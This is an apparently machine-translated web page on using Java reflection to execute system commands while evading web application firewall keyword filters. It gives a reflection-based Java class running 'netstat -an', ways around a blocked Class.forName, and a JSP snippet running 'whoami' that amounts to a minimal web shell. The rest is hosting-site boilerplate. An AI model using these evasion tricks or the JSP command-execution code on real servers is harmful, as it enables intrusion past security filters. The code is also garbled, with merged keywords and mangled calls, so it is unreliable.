Java reflection Execution System Command

Source: Internet
Author: User

In some cases, reflection can be used to call sensitive things to avoid some keywords or restrictions. For example, some WAF restrictions:

packageorg.javaweb.url; importjava.io.BufferedReader;importjava.io.InputStreamReader; publicclassz7y{     publicstaticvoidmain(String[] args)throwsException {        BufferedReader br =newBufferedReader(newInputStreamReader(((Runtime)Class.forName("java.lang.Runtime").getMethod("getRuntime",newjava.lang.Class[]{}).invoke(null,newObject[]{})).exec("netstat -an").getInputStream()));        String str ="";        while((str=br.readLine())!=null){            System.out.println(str);        }    } }
Java imports the java. lang package by default, so you can directly use the Runtime object, but the java. lang. reflect package needs to be imported. If you do not want to import the package, you can directly call it in an indirect way. If the Class. forName is intercepted, you can change it:

String. class. getClass (). forName ("java. lang. Runtime ")... Of course, you can also use: Runtime. class to replace Class. forName ("java. lang. Runtime ").... If it is blocked, use URLClassLoader to try to bypass it. <% Out.println(newjava.io.bufferedreader(newjava.io.inputstreamreader(runtime.getruntime(cmd.exe c ("whoami "). getInputStream ())). readLine (); out. println ("If you only want to run the command, you do not want to view the result: <export runtime.getruntime(cmd.exe c ("whoami"); %>

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.